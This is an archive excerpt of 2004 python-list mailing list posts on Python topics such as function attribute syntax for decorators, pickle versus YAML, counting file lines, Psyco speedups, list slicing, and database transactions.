References: <loom.20040825T004528-605@post.gmane.org>	<412C09B4.5070106@yahoo.com>	<loom.20040825T055456-468@post.gmane.org>	<mailman.2346.1093432824.5135.python-list@python.org>	<b8ad139e.0408251248.1bc0d7bf@posting.google.com>	<cgj8f5$t1b$1@sea.gmane.org>	<e69d3ed2040826003171d312fc@mail.gmail.com>	<412D9F1E.6000809@yahoo.it>	<mailman.2413.1093518357.5135.python-list@python.org>	<nfnri09co3gbg56uoa61h769bh3n5oulqr@4ax.com>	<mailman.2423.1093527121.5135.python-list@python.org>	<ietri01h4lg9juja87vl02v8pa7hbh6u3o@4ax.com>	<e69d3ed204082607536abfa65c@mail.gmail.com>	<cgkuf9$ehg$1@sea.gmane.org>	<e69d3ed204082608183634bab@mail.gmail.com>	<cglg26$ehg$3@sea.gmane.org>	<e69d3ed2040827083448c31d45@mail.gmail.com>	<mailman.2548.1093646396.5135.python-list@python.org>	<cgosmb$ki0$0$216.39.172.122@theriver.com>	<mailman.2562.1093697125.5135.python-list@python.org>	<e69d3ed2040
	<HBF.20040901iia9@bombur.uio.no>
Message-ID: <ch5mkq$tb1$1@sea.gmane.org>

Hallvard B Furuseth wrote:
> Paul Morrow wrote:
> 
>>Hallvard B Furuseth wrote:
>>
>>>Paul Morrow wrote:
>>>
>>>>I believe that we should think of assignments to __xxx__ attributes as 
>>>>not being part of the function's body, but instead part of its 
>>>>declaration, just as we do with its docstring.
>>>>
>>>>   def circum(diameter):
>>>>       """This describe's foo."""
>>>>       __author__ = 'Paul Morrow'
>>>>       __version__ = '0.1'
>>>>       __features__ = synchronized, memoized
>>>
>>>
>>>I really, really don't like this idea.  Assignment in Python has quite
>>>enough pitfalls already.  Please don't make it worse.  If it looks like
>>>an assignment to a local variable, it should be an assignment to a local
>>>variable.  
>>
>>Actually, these look like assignments to local *magic* variables.
>>There's the difference.
> 
> 
> No, that's not the difference.  It's still different from how magic
> variables behave in all other places.  (Class bodies, module bodies,
> object attributes).  The difference is that magic variables in this
> particular localtion is actually parsed differently from use of
> variables other places, so the '=' operator (and what other operators?)
> means something else.
> 

Only the '=' operator, no others.

They [*] would be parsed when the function definition is processed and
then assigned to the function.  Just as in the following, they are
parsed when the class definition is processed and then assigned to the
class.  Nothing special happens in either case.  Just names being added
to a namespace.

    class Circle(Shape):
        """This describe's Circle."""
        __author__ = 'Paul Morrow'
        __version__ = '0.1'
        __metaclass__ = M


[*] the magic variables


> 
>>The double underscores before and after each name loudly proclaims
>>that these variables are not like 'normal' variables.  They're special
>>in some way.
> 
> 
> No other magic variables are that special.  They all behave normally _as
> variables_.  Other parts of Python react to them being set or reset, the
> very variable assigments are quite normal.  Except for the name mangling
> of __*__ instance variables, but that is a lot smaller exception than
> changing the namespace of the assignment operator and the time at which
> that operator is executed.
> 

Assignments that pertain to the definition of something are processed
when the thing is defined.  When used as I've been describing here,
__xxx__ variables pertain to the definition of the function.  Therefore,
they are processed when the function is defined.  That's the *right*
time to process them.



> 
>>>If we are going to invent a syntax for declaring function
>>>attributes inside the function, why confuse the issue by making it look
>>>like it does something else?
>>
>>Because 1) adding new syntax should be resisted as much as possible
>>(IMO),
> 
> 
> If one can extend old syntax in an intuitive way, it's fine to reuse old
> syntax.  When you extend old syntax to mean something counterintuitive,
> it's far better to find a new syntax.  And while it may seem intuitive
> to you, you may have noticed that it seems counterintuitive to a lot of
> others.
> 

I have no idea how the lurkers feel about this.  Maybe you are right.
Maybe this only makes sense to me.

> 
>>and 2) this style has parallels in both class definitions and 
>>module definitions.
> 
> 
> It parallels them as long as you don't think of how it works.  Once you
> do think of how it works, it's completely different.  And you get a lot
> of subtle differences to confuse the issue.
> 

You need to show me the subtle differences.  I'm not aware of any (that
matter).

> 
>>Compare this class statement with the function def 
>>above.
>>
>>     class Oval(Circle):
>>         """This describe's Oval."""
>>         __author__ = 'Paul Morrow'
>>         __version__ = '0.1'
>>         __metaclass__ = M
> 
> 
> Yes, I can compare that.  It's fine in a class body, which is executed
> when the class definition is executed.  When I see it in a function
> definition, I see a strange use of the assignment operator, which is
> normally a 'run-time' operator, in a place where it not being executed
> at run-time.
> 

It's also a 'definition-time' operator, as it often appears in class and
module definitions.  So why not be consistent and let it appear in
function definitions too?  What is so outrageous about this idea? On the
'strange-meter', does it rank as high as docstrings or meaningful
indentation?


> You keep displaying such examples as if they should make your point
> self-evident.  Already several people have pointed out that they don't
> see it at self-evident.  That might give you a clue that it isn't
> self-evident.
>

Again, I have no idea if I'm alone on this.  A few have suggested that
they somewhat agree, but there's not been much support beyond that.

> 
>>>It's true that it makes it look more like what __*__ attribute
>>>assignment in class bodies does, but the simple fact is that class
>>>bodies are executed when the class statement is executed, and function
>>>bodies are not executed when the def statement is executed.  Now you
>>>want part of the function bodies to be executed at def time, and part at
>>>call time.
>>
>>Maybe we just need to be clear as to which lines under the def statement
>>constitute the function's /body/.
> 
> 
> That's perfectly clear without your change.  Your change is confusing
> the issue, by also using an operator which one (well, at least many of
> us - not you, obviously) expects to be executed in the function body.
> 

We change the definition of where the function body starts, to exclude
any __xxx__ assignments immediately following the docstring.  Then the
'=' operator has definition-time semantics, not run-time.


> 
>>The function's docstring gets
>>assigned during processing of the def statement, therefore the docstring
>>is apparently not part of the function body;
> 
> 
> The function's doc string doesn't look like a statement, and even if it
> one thinks it is one (which documentation handling somehow picks out
> specially) it would be a no-op inside the function, so there is nothing
> confusing about it.
> 
> BTW, I was all for having the function body extend further down - my
> first decorator choice (before J2) would have been the
>   def foo(...):
>      ...decorators and doc string...
>   some_keyword:
>      ...body...
> 
> syntax.  Like you point out about __*__ assigments it stands out, but
> it's even clearer, but it doesn't look like it would normally
> dosomething else, so the uninitiated will have far less reason to wonder
> what kind of voodoo is going on to make it do what it does.
> 

All of the suggestions I've seen like that one have the section keyword
at the same level of indentation as the def keyword, which is wrong
(IMO).  There is no precedent for that in Python.  We are defining
something; every statement related to that definition should be indented
farther to the right than the def statement (IMO).

But this is all moot I guess.  Guido has apparently already made up his 
mind on the decorator syntax.  So I guess I'm done with this subject [*].

Thanks for your feedback.

Paul

[*] for now :-)



From drysdam at ll.mit.edu  Tue Sep 14 13:40:55 2004
From: drysdam at ll.mit.edu (David Rysdam)
Date: Tue, 14 Sep 2004 13:40:55 -0400
Subject: funcs vs vars in global namespace
In-Reply-To: <1gk4a0b.1j8q5hu1nw55ptN%aleaxit@yahoo.com>
References: <J8B1d.3$26.1@llslave.llan.ll.mit.edu>
	<1gk3y19.15ftybc1nbksniN%aleaxit@yahoo.com>
	<z_B1d.5$26.4@llslave.llan.ll.mit.edu>
	<1gk408x.12hab2zxpzgmN%aleaxit@yahoo.com>
	<8KD1d.10$26.4@llslave.llan.ll.mit.edu>
	<1gk4a0b.1j8q5hu1nw55ptN%aleaxit@yahoo.com>
Message-ID: <H2G1d.11$26.2@llslave.llan.ll.mit.edu>

Alex Martelli wrote:
> David Rysdam <drysdam at ll.mit.edu> wrote:
>    ...
> 
>>>sub_module = __import__(which_one_this_time)
>>>vars(sub_module).update(which_dict_this_time)
>>>print sub_module.the_function(23)
> 
>    ...
> 
>>Oh wow, of course!  I can set properties on the modules themselves.  I'm
>>going to have to rethink what I'm doing and mess with that a bit, I'm
>>sure I'll have questions and problems later.  Thanks!
> 
> 
> You're welcome!  Yes, since your modules are not being used for other
> purposes except running the scriptlets you're controlling, changing
> those modules' global variables should be safe enough in your case.
> 
> 
> Alex

OK, dumb question #1:

Why do this:

sub_module = __import__(which_module_this_time)
vars(sub_module).update(which_dict_this_time)

When I could just do this:

__import__(which_module_this_time, which_dict_this_time)

?


From chrisks at NOSPAM.udel.edu  Sun Sep 19 05:11:45 2004
From: chrisks at NOSPAM.udel.edu (Chris S.)
Date: Sun, 19 Sep 2004 09:11:45 GMT
Subject: PyYaml?
In-Reply-To: <87r7oyfy78.fsf@blakie.riol>
References: <2IO2d.1086$HH5.1025@trndny05> <87r7oyfy78.fsf@blakie.riol>
Message-ID: <l3c3d.1327$HH5.1125@trndny05>

Wilk wrote:

> "Chris S." <chrisks at NOSPAM.udel.edu> writes:
> 
> 
>>Is there any benefit to Pickle over YAML? Given that Pickle is
>>insecure, wouldn't it make more sense to support a secure
>>serialization format, one that's even readable to boot, such as YAML?
>>There's even a pure Python implementation at www.pyyaml.org
> 
> 
> There is others advantages using yaml instead of pickle anyway
> (portability, readability...) 
> Syck is even faster than pickle i think.
> http://whytheluckystiff.net/syck/

I agree completely, although I've been surprised by the general lack of 
interest around here. You'd think a more secure, portable, and readable 
serialization format would be welcomed with open arms, yet most of the 
comments I've read past and present have been almost hostile.

> But all theses projects seems to sleep...

Can you blame them from the lack of interest? No good idea goes 
unpunished... Ironically, YAML borrows key ideas from several languages, 
including Python.


From carribeiro at gmail.com  Mon Sep 20 16:25:27 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Mon, 20 Sep 2004 17:25:27 -0300
Subject: Economic considerations
In-Reply-To: <m31xgxepmb.fsf@g2ctech.com>
References: <mailman.3318.1095180577.5135.python-list@python.org>
	<2qq5adF133c5kU1@uni-berlin.de> <m3isaf1xki.fsf@g2ctech.com>
	<1gk5wxv.1rnwtamytx5m5N%aleaxit@yahoo.com> <f5ao12-46u.ln1@lairds.us>
	<m3acvp38zv.fsf@g2ctech.com> <Xns956AE1BDA06EJanC@213.118.38.197>
	<m31xgxepmb.fsf@g2ctech.com>
Message-ID: <864d37090409201325c4ec7c7@mail.gmail.com>

On Sun, 19 Sep 2004 21:43:56 -0300, Jorge Godoy <godoy at ieee.org> wrote:
> To be honest, I have no idea what are these things for.  I just know
> that there's something with regards to CMYK here, but I haven't seen
> Pantone.  (OK, I know that these are color representation "tables", but
> I don't know when to use one or the other or when to use RGB...  An
> architect friend of mine explained that but she was talking about other
> things too and I didn't pay much attention to that...)

Pantone is a table of standard spot colors. It's used in professional
printing because they can guarantee you that the color that you'll see
in the final print is *exactly* the same that you see in your own
printed color reference card. Try that in the GIMP, or in any other OS
design package. In general, conversion between different color models
is *tricky*, and you would be surprised at how precise our eyes are
with regards to small differences.

(I just read about Scribus, though, and about the color management
system that they're using there - littlecms - this is now being
integrated into GIMP. Don't know the results, but it's the right
step).

-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From gerrit at nl.linux.org  Mon Sep 13 15:41:07 2004
From: gerrit at nl.linux.org (Gerrit)
Date: Mon, 13 Sep 2004 21:41:07 +0200
Subject: Find first in sequence (simple question)
In-Reply-To: <ci4s2o$irv$1@sea.gmane.org>
References: <ci4s2o$irv$1@sea.gmane.org>
Message-ID: <20040913194107.GA25880@nl.linux.org>

Neal D. Becker wrote:
> What is an efficient way to find the first element in a sequence meeting
> some condition?
> 
> For example, the first number > x in a list of numbers.

You could do:

# WARNING: Untested code
index = -1
for i in x:
    if i > n:
        index = i
        break

This would work, and unless you can make assumption about the list, I
doubt it can be faster. If you can assume that for example the list is
sorted, it should be possible to do it faster, although I would not know
exactly how.

yours,
Gerrit.

-- 
Weather in Twenthe, Netherlands 13/09 20:55:
	14.0?C   wind 5.4 m/s SSW (57 m above NAP)
-- 
Gerrit Holl - 2nd year student of Applied Physics, Twente University, NL.
Experiences with Asperger's Syndrome:
	EN http://topjaklont.student.utwente.nl/english/
	NL http://topjaklont.student.utwente.nl/


From janimal at mail.trillegaarden.dk  Mon Sep 20 09:25:02 2004
From: janimal at mail.trillegaarden.dk (Ling Lee)
Date: Mon, 20 Sep 2004 15:25:02 +0200
Subject: How to count lines in a text file ?
References: <414ed896$0$26378$ba624c82@nntp02.dk.telia.net>
Message-ID: <414eda06$0$26379$ba624c82@nntp02.dk.telia.net>

Oh I just did it.

Just used the line:

print "%d lines in your choosen file" % len(open("test.txt").readlines())

Thanks though :)


"Ling Lee" <janimal at mail.trillegaarden.dk> wrote in message 
news:414ed896$0$26378$ba624c82 at nntp02.dk.telia.net...
> Hi all.
>
> I'm trying to write a program that:
> 1) Ask me what file I want to count number of lines in, and then counts 
> the lines and writes the answear out.
>
> 2) I made the first part like this:
>
> in_file = raw_input("What is the name of the file you want to open: ")
> in_file = open("test.txt","r")
> text = in_file.read()
>
> 3) I think that I have to use a for loop ( something like: for line in 
> text: count +=1)
> Or maybee I have to do create a def: something like: ( def loop(line, 
> count)), but not sure how to do this properly.
> And then perhaps use the readlines() function, but again not quite sure 
> how to do this. So do one of you have a good idea.
>
> Thanks for all help
>
>
> 




From onurb at xiludom.gro  Fri Sep 24 15:03:09 2004
From: onurb at xiludom.gro (bruno modulix)
Date: Fri, 24 Sep 2004 21:03:09 +0200
Subject: NEW MAINTAINER for Pymacs [corrected]
In-Reply-To: <mailman.3861.1096037931.5135.python-list@python.org>
References: <20040917002304.GA14120@alcyon.progiciels-bpi.ca>
	<mailman.3861.1096037931.5135.python-list@python.org>
Message-ID: <41547113$0$8885$626a14ce@news.free.fr>

Fran?ois Pinard a ?crit :
>    [The contents of this announcement is identical to the one I sent a few
>     days ago, except for Syver's email address.  Please disregard the
>     initial announcement.  I'm sorry for the information duplication.]
> 
> Hello to everybody, and Emacs users in the Python community.
> 
> The Pymacs project (described below) now has new maintainer: 
(snip)
> See `http://pymacs.progiciels-bpi.ca' for more documentation, including
> the manual in HTML form.  

I got this :
8<------------------------------------------------------------------------
/home/pinard/vim/pymacs/web/index.html:31: Inclure ../gabarit.html

Ne peut lire le fichier `None'.

Variables en traitement
   caption_color             'yellow'
   home_base                 'http://pinard.progiciels-bpi.ca'
   html_base                 'http://pymacs.progiciels-bpi.ca'
   htmldir                   '/home/pinard/vim/pymacs/web'
   long_package_name         'Pymacs framework'
   margin_color              'pink'
   package_name              'Pymacs'
   texte                     '<?xml version="1.0" encoding="utf-8" 
?>\n<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" 
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">\n<html 
xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" 
lang="en">\n<head>\n<meta http-equiv="Content-Type" content="text/html; 
charset=utf-8" />\n<meta name="generator" content="Docutils 0.3.5: 
http://docutils.sourceforge.net/" />\n<title>README file for 
Pymacs</title>\n<link rel="stylesheet" href="default.css" 
type="text/css" />\n</head>

(snip)

   top_directory             '/home/pinard/vim/pymacs'
   via_traiter               'True'

Variables de l'environnement
   PATH                      '/bin:/usr/bin:/usr/local/bin'

Bruno


From bgabriel at cloudthunder.com  Wed Sep 29 11:37:08 2004
From: bgabriel at cloudthunder.com (Bishara Gabriel)
Date: Wed, 29 Sep 2004 11:37:08 -0400
Subject: Social Analysis and Modeling for Python
Message-ID: <415AD6A4.7000400@cloudthunder.com>

I encourage feedback from all parties and especially those which would 
like to be directly involved (I may include you in the grant proposal 
and budget).  Send me your comments!

------->

Project Objective

We seek to introduce the advantages of object-oriented programming to
the realm of social sciences.  We believe the fields thereof (economics,
history, sociology, political science, etc.), have much to gain from
OOP?s ability to represent social constructs.  Particularly, we have
found Python to be well suited to the rapid formulation of social models
due to its syntactic simplicity, outstanding support for object-oriented
programming, and comprehensive libraries.  Unfortunately, most academics
in the aforementioned fields are unaware of the capabilities, let alone
applicability, of programmatic representation.  Those who do are
typically put off by the inadequacy and complexity of more traditional
languages such as C and C++.  We therefore propose to disseminate an
understanding among these fields of the ability to develop social models
and represent social constructs via the rapid modeling capabilities of
the Python language.  We seek to demonstrate how Python presents to them
limited costs in production time via its language features, and to show
how social models can be mentally approached in such a way that there
exists a one-to-one correlation between their theoretical model and the
Python equivalent.

See the rest of the proposal at:
http://www.mtholyoke.edu/~bgabriel/Social_Analysis_&_Modeling_in_Python.pdf


From peter at engcorp.com  Thu Sep 23 20:50:14 2004
From: peter at engcorp.com (Peter Hansen)
Date: Thu, 23 Sep 2004 20:50:14 -0400
Subject: good way to do side effects on lists?
In-Reply-To: <mailman.3822.1095986722.5135.python-list@python.org>
References: <415208a1$1_4@news3.es.net>	<cit221$a33$1@pegasus.csx.cam.ac.uk>	<85bc2819.0409230702.2a5c4ab5@posting.google.com>	<4153315a$0$17453$636a15ce@news.free.fr>	<44qdnTS-mqa0wM7cRVn-rg@giganews.com>
	<mailman.3822.1095986722.5135.python-list@python.org>
Message-ID: <mZednRdDyqva8s7cRVn-qw@powergate.ca>

Eli Stevens (WG.c) wrote:
> Judging from this post:
> 
> http://groups.google.com/groups?hl=en&lr=lang_en&ie=UTF-8&selm=2259b0e2.0308240638.38350cba%40posting.google.com 
> 
> It seems like Psyco can detect simple "hey, let's see how fast this can 
> go with Psyco" tests, and can give skewed results.  I wouldn't expect a 
> 50x improvement in the general case (though if you have to do simplistic 
> things over and over, Psyco is the way to go ;).
> 
> I'm not trying to bash Psyco - two lines netting a 2x speed boost is 
> great, but it's good to avoid setting expectations too high.  :)  

That's a good point.  I was actually disappointed with Psyco
when I tried it because hyped reports based, I suspect, on
trivial cases had given me high expectations.  I believe I
achieved about a 12% speedup...

-Peter


From aleaxit at yahoo.com  Sat Sep 11 03:53:35 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Sat, 11 Sep 2004 09:53:35 +0200
Subject: A bug with file.tell()?
References: <f8097096.0409092043.3760d72a@posting.google.com>
	<9418be08.0409102042.62f3ed3d@posting.google.com>
Message-ID: <1gjy0os.1mgeyqf1322b6eN%aleaxit@yahoo.com>

Elbert Lev <elbertlev at hotmail.com> wrote:

> By the way, because for s if f: reads the whoole file in memory such

Nope!  It buffers a few KB at a time.

> construct is not recommended for reading large files (but is very
> convenient).

It's perfectly suitable for reading files as huge as you wish.


Alex


From avera at coes.org.pe  Wed Sep 22 12:53:58 2004
From: avera at coes.org.pe (Alberto Vera)
Date: Wed, 22 Sep 2004 11:53:58 -0500
Subject: Use py library from Win app
Message-ID: <001101c4a0c4$c164f630$1603a8c0@pc22>

Hi:

How Can I call a python module/application/library from a win32 application?
Is it possible use threads(in py) when a win32 application call a python module?

Thanks
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20040922/ab6d4271/attachment.html>

From luismg at gmx.net  Mon Sep 20 23:55:49 2004
From: luismg at gmx.net (Neuruss)
Date: 20 Sep 2004 20:55:49 -0700
Subject: Python as alternative to Visual Basic
References: <cin0d0$ani$1@avnika.corp.mot.com>
Message-ID: <278de0e.0409201955.1c0a3d25@posting.google.com>

I suggest PythonCard. 
It's by far the easiest tool for creating cross-platform GUI apps
based on wxPython in a visual way (dragging and dropping widgets into
a form). The downside is that some widgets are not yet implemented,
but you can use the most important ones.

Another good thing is that it creates authomatically two files: one
for the presentation (form, buttons, etc) and another for the code,
which makes it very simple and clean.


From aleaxit at yahoo.com  Tue Sep  7 13:41:58 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Tue, 7 Sep 2004 19:41:58 +0200
Subject: Python Interpreter question.
References: <chkoc4$l08$1@newsg2.svr.pol.co.uk>
Message-ID: <1gjrd1h.4w2qi610yei4wN%aleaxit@yahoo.com>

Anon <guess at My.email.address.scum.com> wrote:
   ...
> Is all of that true? is it right to say in fact that python doesn't have an
> interpreter, but rather it has a compiler and VM for running the python
> code?

Python is indeed based on a compiler to bytecode plus a VM, like Java. 

However, Python goes the extra step to make an interpreter out of the
combination of the two -- after all, compiling source to bytecode and
then handing the bytecode over to the VM _is_ easy.  So, any time you're
using exec, eval, or execfile on source strings or files, in practice,
to all intents and purposes, you ARE using an interpreter, even if it's
put together with smoke and mirrors, oops, I mean compilers and VM's.

Similarly for anything you type at the interactive >>> prompt -- the
fact that whatever source you type gets compiled into bytecode first,
and then that bytecode is handed over to the VM for execution,  is no
problem to you... in practice you DO have an interpreter, even though
"deep down" it's just a compiler + a VM!-)


Alex


From crypt_keeper at rome.com  Tue Sep  7 15:36:14 2004
From: crypt_keeper at rome.com (Crypt Keeper)
Date: 7 Sep 2004 12:36:14 -0700
Subject: writing a class
Message-ID: <29179565.0409071136.4147591f@posting.google.com>

I am trying to write a program that asks user for several input items,
then takes those items into a class that will manipulate the data and
then return a line of output. I am able to input the reuired
information, but it's the in-class processing and output line that
keeps messing up somehow. I have tried tinkering and tweaking but with
no success.

How can I take data from the user, manipulate it through a class of
steps and then output it all into a line of output?

Thanks!!


From aleaxit at yahoo.com  Wed Sep 29 13:16:35 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Wed, 29 Sep 2004 19:16:35 +0200
Subject: all pairs of items in a list without indexing?
References: <mailman.4028.1096403649.5135.python-list@python.org>
	<1gkvo41.aiv2zs4vw5qsN%aleaxit@yahoo.com>
	<mailman.4085.1096474077.5135.python-list@python.org>
Message-ID: <1gkw26x.3nw2991fi3o91N%aleaxit@yahoo.com>

Steven Bethard <steven.bethard at gmail.com> wrote:
   ...
> So slicing a list and iterating over the slice is faster than iterating over
> the indices and indexing the items...  Is this generally true?  Is it
> something I can depend on across implementations?

Unfortunately, nothing can forbid a new implementation, or even a new
release of an existing implementation, acquiring some special new
optimization that makes a technique that used to be slower suddenly
faster.  And if it _was_ possible to forbid optimizations, you wouldn't
really want to, anyway -- a potential optimization of some _other_
technique wouldn't damage the solution you've chosen, anyway, except in
terms of "relative standing" vs the now-optimized alternative.

Since using the slice is simpler, and at least for now it's also faster
(so it won't become _too_ slow anyway), that's what I would suggest.  As
a precaution you might want to use a 'virtual slice' through a function
such as:

def vslice_from(alist, start):
    ''' returns some iterable x such that "for i in x:" is exactly
        equivalent to "for i in alist[start:]:". '''
    return alist[start:]

so that you can experiment with alternatives without having to modify
most of your code, just through alterations to vslice_from.  E.g.

import itertools
def vslice_from(alist, start, islice=itertools.islice):
    return islice(alist, start, len(alist))

or

def vslice_from(alist, start):
   for i in xrange(start, len(alist)): yield alist[i]

or even customized pyrex or C implementations if your quest for the
ultimate performance needs them...


Alex


From irmen at -nospam-remove-this-xs4all.nl  Mon Sep  6 13:42:04 2004
From: irmen at -nospam-remove-this-xs4all.nl (Irmen de Jong)
Date: Mon, 06 Sep 2004 19:42:04 +0200
Subject: has anyone done a blog or forum engine in python?
In-Reply-To: <e84f5d12.0409060445.73d6cffd@posting.google.com>
References: <e84f5d12.0409060445.73d6cffd@posting.google.com>
Message-ID: <413ca16b$0$37789$e4fe514c@news.xs4all.nl>

googleboy wrote:
> Hiya.
> 
> I am looking at implementing a blog and a forum for a personal
> website.  I am also beginning to look at growing my programming skills
> from newbie/mediocre to intermedaitely servicable and want to continue
> doing this focussing on python.

As a matter of fact, I'm building a blog (incl. comments) server
in Python right now. I don't have anything complete yet, but
it steadily grows to something useful. I think. ;-)
I'm building it on top of my own web app server, Snakelets,
also written in Python (http://snakelets.sourceforge.net).

> It would be cool to find projects in python with code I can refer to.

Sorry, no blog server code available yet, but you could
have a look at Snakelets if you're interested.

Bye

Irmen de JOng.


From claird at lairds.us  Fri Sep 10 11:08:04 2004
From: claird at lairds.us (Cameron Laird)
Date: Fri, 10 Sep 2004 15:08:04 GMT
Subject: Is there no switch function in Python
References: <CR20d.46131$Vf.2380522@news000.worldonline.dk>
	<1Zb*VOguq@news.chiark.greenend.org.uk>
	<roy-03E598.09352710092004@reader1.panix.com>
Message-ID: <kip812-4jf.ln1@lairds.us>

In article <roy-03E598.09352710092004 at reader1.panix.com>,
Roy Smith  <roy at panix.com> wrote:
			.
			.
			.
>That being said, there are times when I miss switch.  For some kinds of 
>multi-branch logic, I think it expresses the meaning better than a 
>string of if's.  But it's hardly necessary.
>
>The real reason, IMHO, switch existed in C was because it would let the 
>compiler build very efficient jump tables for switches with many cases.  
>Imagine switching on the ascii value of a character and having a 128 
>different cases.  The compiler could build a 128 entry jump table and 
>the switch statement would compile down to a single machine instruction.

I probably miss switches as much as any Python coder.  Having
appropriately introduced the concept of "jump table", though,
it's only right that we mention how often Python uses dictionaries
in just such ways.


From ialbert at mailblocks.com  Mon Sep 27 10:03:12 2004
From: ialbert at mailblocks.com (Istvan Albert)
Date: Mon, 27 Sep 2004 10:03:12 -0400
Subject: Psycopg; How to detect row locking?
In-Reply-To: <415811D2.7070408@magproductions.nl>
References: <cj8u7f$6hh$1@netlx020.civ.utwente.nl> <m3y8iv3npy.fsf@g2ctech.com>
	<415811D2.7070408@magproductions.nl>
Message-ID: <j4mdnSn6xsECgMXcRVn-tA@giganews.com>

Alban Hertroys wrote:

> I'm also not sure whether I'm actually looking at the same transaction. 
> Is there a way to verify such?

Are you using the same connection across threads or the
same cursor?

Transactions happen per cursor. They get committed when you call
the commit() on the cursor (and you probably should not share the cursor
across threads).

> I suppose there must be a short while where the row is locked during the 
> insert, where I may already be trying to select it. If this is indeed 
> the case, I would expect to receive a "row is locked" type of error.

It makes no sense to return a "row is locked" type of error. A database is
supposed to take care of business. It will either return the new view
or the old view of the data depending on whether the new data
has been committed or not. Assuring the data was committed in
time (before selecting it) is your responsibility.

Not so along ago there was a similar post. In both, the posters were
using a mulithreaded database system, postgresql within a mulithreaded program
yet at the same time desperately trying to fully control the database
threads from the program threads, both hoping that transactions
will save the day. But that is not what transactions are about. Transactions are
simply a way to ensure that a series of database instructions
(within a thread) either all execute or none of them do. One can
always try to coerce them to do something fancier or more different
but then quality of the solution shows this.

Istvan.


From me at privacy.net  Sat Sep 25 16:03:16 2004
From: me at privacy.net (Richard Hanson)
Date: Sat, 25 Sep 2004 13:03:16 -0700
Subject: [OT] "Pre-announcement" of Python-based "computing appliance"
	project.
References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com>
	<89adnWTWC6JVscncRVn-uw@giganews.com>
	<enp8l09sql1ikh98s530erp5b79hfpf14o@4ax.com>
	<du7d60bbhah.fsf@amadeus.cc.tut.fi>
	<10l90qcihqrjba1@corp.supernews.com>
	<6799l0pal6hmm3ssnvfi6fb8ki6j5o94na@4ax.com>
	<%wf5d.32000$Z14.10664@news.indigo.ie>
Message-ID: <qi5bl0pcusm00a26mc2mlndoc3gdho74mo@4ax.com>

Alan Kennedy wrote:

> [Richard Hanson]
> > It is
> > possible that in the higher-dimensioned theories, quantum mechanics
> > will turn out to be deterministic. 
> 
> That's an attention-grabbing statement!

;-)

> [Richard Hanson]
> > Or, at least that's what I'm quite
> > foggily gathering from hanging out on sci.physics.research and other
> > suchlike readings. :-)
> 
> I'd be most grateful for some links to further reading, ideally giving 
> an overview/summary, if you know of such.
> 
> thanks,

I shall attempt to find just such summaries. However, as I am now down
to relying solely on the "wetware" between my ears for my personal
archives :-) (had a recent series of harddrive crashes), I will now
attempt to (re)locate off the net some of the material which points to
the possibility suggested above. I'll see if any suitable overviews
are available and will let you know.

And -- you're quite welcome. I may need a bit of time, however, for a
variety of reasons. :-)


just-re-DL'ed-all-of-sci.physics.research-from-my-newsserver'ly y'rs,
Richard Hanson

-- 
sick<PERI0D>old<P0INT>fart<PIE-DEC0-SYMB0L>newsguy<MARK>com


From zanesdad at bellsouth.net  Tue Sep 28 13:13:59 2004
From: zanesdad at bellsouth.net (Jeremy Jones)
Date: Tue, 28 Sep 2004 13:13:59 -0400
Subject: annoying behavior
In-Reply-To: <9418be08.0409280856.9368ddf@posting.google.com>
References: <9418be08.0409280856.9368ddf@posting.google.com>
Message-ID: <41599BD7.7040809@bellsouth.net>

Elbert Lev wrote:

># here is the problem I ran into:
>
>class foo:
>    def __init__(self, host):
>        self.f()
>        self.r = True
>    
>    def f(self):
>        if self.r:
>            #<do something>
>            pass
>        else:
>            #<do something else>
>            pass
>
>f = foo("1234")
>
>#here is the output:
>
>#Traceback (most recent call last):
>#  File "G:\MyProjects\Python\Little\inconv.py", line 16, in ?
>#    f = foo("1234")
>#  File "G:\MyProjects\Python\Little\inconv.py", line 5, in __init__
>#    self.f()
>#  File "G:\MyProjects\Python\Little\inconv.py", line 9, in f
>#    if self.r:
>#AttributeError: foo instance has no attribute 'r'
>
># I understand why does this happen, but, to tell the truth,
># this feature is very annoying. 
># Are there any plans to relax this restriction? 
># In 3.0 :)?
>  
>
Relax what restriction?  Why should this behave any differently than it 
is?  I would kind of equate the above code to:

 >>> f = {}
 >>> f['a']
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
KeyError: 'a'
 >>> f['a'] = 1


How should Python know that I'm going to assign f['a'] to anything 
before it gets assigned?  That's like expecting this:

 >>> f = {}
 >>> f['a']
 >>> #I'm planning on setting f['a'] to something in a little bit - 
maybe the Python interpreter can figure out what I'm going to do....
1
 >>> f['a'] = 1

to produce the results that I just typed in.  You're calling method f() 
before you are setting attribute r to anything, so when you call f(), 
attribute r isn't set, so you get an exception.  What restriction do you 
want to relax?  Do you want the Python interpreter to read ahead and 
figure out if you were intending to set a variable and then use some 
variable that you were planning on setting in the future?  If so, what 
if you set it and then set it again?  Which one should it choose?

Jeremy


From steven.bethard at gmail.com  Mon Sep 13 02:50:04 2004
From: steven.bethard at gmail.com (Steven Bethard)
Date: Mon, 13 Sep 2004 06:50:04 +0000 (UTC)
Subject: generator expressions and new ternary operator
References: <3b59a80.0409122202.77061a66@posting.google.com>
Message-ID: <loom.20040913T084603-910@post.gmane.org>

zipher <zondervanz <at> gmail.com> writes:
> 
> Mightn't this new latter syntax be the ticket to a "one obvious way"
> to write a ternary expression in python?
> 
> >>> (foo(i) if i==42 else bar(i))   # i==42 ? foo(i) : bar(i)
> 

I really shouldn't respond to this because the debate over a ternary operator 
already went on *way* too long...  But this proposal completely confuses me...

Why would we want something that isn't a generator expression to look anything 
like one?

Steve



From dperl at rogers.com  Wed Sep  1 10:54:06 2004
From: dperl at rogers.com (Dan Perl)
Date: Wed, 01 Sep 2004 14:54:06 GMT
Subject: initializing mutable class attributes
References: <J4zYc.102357$UTP.98636@twister01.bloor.is.net.cable.rogers.com>
	<1gjc8cs.sqvo1v1fhabdjN%aleaxit@yahoo.com>
